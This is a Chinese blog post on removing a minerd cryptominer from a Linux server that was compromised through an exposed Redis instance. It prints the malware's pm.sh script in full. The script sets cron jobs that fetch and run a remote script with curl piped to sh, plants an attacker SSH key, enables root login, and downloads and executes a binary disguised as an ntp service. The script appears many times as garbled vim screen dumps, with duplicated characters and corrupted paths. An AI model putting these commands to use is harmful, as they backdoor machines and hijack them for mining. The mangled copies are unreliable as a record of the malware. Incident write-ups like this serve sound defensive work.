linux中了minerd之後的完全清理過程(詳解)_Linux

一不小心裝了一個Redis服務，開了一個全網的預設連接埠，一開始以為這台伺服器沒有公網ip，結果發現之後悔之莫及啊

某天發現cpu load高的出奇，發現一個minerd進程 佔了大量cpu，google了一下，發現自己中招了

下面就是清理過程

第一步

1.立即停止redis服務，修改連接埠許可權，增加密碼措施

2.按照網上的資料 刪除 crontab 裡的兩個內容

sudo rm /var/spool/cron/root
sudo rm /var/spool/cron/crontabs/root

3.知己知彼，百戰不殆，研究病毒的初始話檔案

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbinecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/rootmkdir -p /var/spool/cron/crontabsecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/rootif [ ! -f "/root/.ssh/KHK75NEOiq" ]; then    mkdir -p ~/.ssh    rm -f ~/.ssh/authorized_keys*    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq    echo "PermitRootLogin yes" >> /etc/ssh/sshd_config    echo "RSAAuthentication yes" >> /etc/ssh/sshd_config    echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config    echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config    /etc/init.d/sshd restart"pm.sh" 28L, 1470C                      10,1-8    頂端export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbinecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spooll/cron/rootmkdir -p /var/spool/cron/crontabsecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spooll/cron/crontabs/rootif [ ! -f "/root/.ssh/KHK75NEOiq" ]; then    mkdir -p ~/.ssh    rm -f ~/.ssh/authorized_keys*    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITTshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kvv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1yy993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK755NEOiq    echo "PermitRootLogin yes" >> /etc/ssh/sshd_config    echo "RSAAuthentication yes" >> /etc/ssh/sshd_config    echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config    echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config    /etc/init.d/sshd restart                                 10,1-8    頂端export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbinecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/rrootmkdir -p /var/spool/cron/crontabsecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/ccrontabs/rootif [ ! -f "/root/.ssh/KHK75NEOiq" ]; then    mkdir -p ~/.ssh    rm -f ~/.ssh/authorized_keys*    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOcc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm88gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBrro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq    echo "PermitRootLogin yes" >> /etc/ssh/sshd_config    echo "RSAAuthentication yes" >> /etc/ssh/sshd_config    echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config    echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config    /etc/init.d/sshd restartfiif [ ! -f "/etc/init.d/ntp" ]; then                                    10,1-8    頂端export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbinecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/rootmkdir -p /var/spool/cron/crontabsecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/roootif [ ! -f "/root/.ssh/KHK75NEOiq" ]; then    mkdir -p ~/.ssh    rm -f ~/.ssh/authorized_keys*    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yWW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root"" > ~/.ssh/KHK75NEOiq    echo "PermitRootLogin yes" >> /etc/ssh/sshd_config    echo "RSAAuthentication yes" >> /etc/ssh/sshd_config    echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config    echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config    /etc/init.d/sshd restartfiif [ ! -f "/etc/init.d/ntp" ]; then    if [ ! -f "/etc/systemd/system/ntp.service" ]; then        mkdir -p /opt@                                         10,1-8    頂端export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbinecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/rootmkdir -p /var/spool/cron/crontabsecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/rootif [ ! -f "/root/.ssh/KHK75NEOiq" ]; then    mkdir -p ~/.ssh    rm -f ~/.ssh/authorized_keys*    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/AAg1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txLL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNyytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq    echo "PermitRootLogin yes" >> /etc/ssh/sshd_config    echo "RSAAuthentication yes" >> /etc/ssh/sshd_config    echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config    echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config    /etc/init.d/sshd restartfiif [ ! -f "/etc/init.d/ntp" ]; then    if [ ! -f "/etc/systemd/system/ntp.service" ]; then        mkdir -p /opt        curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK775NEOiq33 && /opt/KHK75NEOiq33 -Install    fifi                                                10,1-8    頂端export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbinecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/rootmkdir -p /var/spool/cron/crontabsecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/rootif [ ! -f "/root/.ssh/KHK75NEOiq" ]; then    mkdir -p ~/.ssh    rm -f ~/.ssh/authorized_keys*    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TTdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wwL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAddY7vRnrvFav root" > ~/.ssh/KHK75NEOiq    echo "PermitRootLogin yes" >> /etc/ssh/sshd_config    echo "RSAAuthentication yes" >> /etc/ssh/sshd_config    echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config    echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config    /etc/init.d/sshd restartfiif [ ! -f "/etc/init.d/ntp" ]; then    if [ ! -f "/etc/systemd/system/ntp.service" ]; then        mkdir -p /opt        curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /oppt/KHK75NEOiq33 -Install    fifi/etc/init.d/ntp startps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9                                                       10,1-8    頂端export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbinecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/rootmkdir -p /var/spool/cron/crontabsecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/rootif [ ! -f "/root/.ssh/KHK75NEOiq" ]; then    mkdir -p ~/.ssh    rm -f ~/.ssh/authorized_keys*    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq    echo "PermitRootLogin yes" >> /etc/ssh/sshd_config    echo "RSAAuthentication yes" >> /etc/ssh/sshd_config    echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config    echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config    /etc/init.d/sshd restartfiif [ ! -f "/etc/init.d/ntp" ]; then    if [ ! -f "/etc/systemd/system/ntp.service" ]; then        mkdir -p /opt        curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Instaall    fifi/etc/init.d/ntp startps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9~~~~~                                                                  10,1-8    全部export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbinecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/rootmkdir -p /var/spool/cron/crontabsecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/rootif [ ! -f "/root/.ssh/KHK75NEOiq" ]; then    mkdir -p ~/.ssh    rm -f ~/.ssh/authorized_keys*    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ77yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y9993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq    echo "PermitRootLogin yes" >> /etc/ssh/sshd_config    echo "RSAAuthentication yes" >> /etc/ssh/sshd_config    echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config    echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config    /etc/init.d/sshd restartfiif [ ! -f "/etc/init.d/ntp" ]; then    if [ ! -f "/etc/systemd/system/ntp.service" ]; then        mkdir -p /opt        curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Install    fifi/etc/init.d/ntp startps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9

得到結果

1.刪除crontab的設定檔，如上我們已經刪除，涉及的代碼

echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/rootmkdir -p /var/spool/cron/crontabsecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root

2.刪除 這個是用來免密碼登陸的

rm -f ~/.ssh/authorized_keys*
rm -f ~/.ssh/KHK75NEOiq

你甚至可以直接把.ssh這個目錄刪除掉
涉及的代碼

if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then    mkdir -p ~/.ssh    rm -f ~/.ssh/authorized_keys*    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ77yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y9993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq    echo "PermitRootLogin yes" >> /etc/ssh/sshd_config    echo "RSAAuthentication yes" >> /etc/ssh/sshd_config    echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config    echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config    /etc/init.d/sshd restartfi

3.刪除 /opt/這個目錄 這玩意是第四步的服務產生的

4.刪除服務

service ntp stop
rm /etc/init.d/ntp
rm /usr/sbin/ntp
涉及的代碼

if [ ! -f "/etc/init.d/ntp" ]; then    if [ ! -f "/etc/systemd/system/ntp.service" ]; then        mkdir -p /opt        curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Install    fifi

如上的代碼，下載了一個8M的程式，是安裝了什麼東西，樓主也不知道，但是接下來的代碼暴露了行蹤

/etc/init.d/ntp start

這行代碼啟動了ntp這個服務，百度搜了下說是個時間服務，其實這玩意是病毒服務，開啟這個檔案，找到可執行檔/usr/sbin/ntp 發現檔案和那個8m的檔案一個位元組不差

所以刪除這個檔案

最後

ps aux|grep minerd

kill 掉所有的進程，ok修複結束

半小時之後

ps aux|grep minerd

minerd進程不再出現

以上就是小編為大家帶來的linux中了minerd之後的完全清理過程(詳解)全部內容了，希望大家多多支援雲棲社區~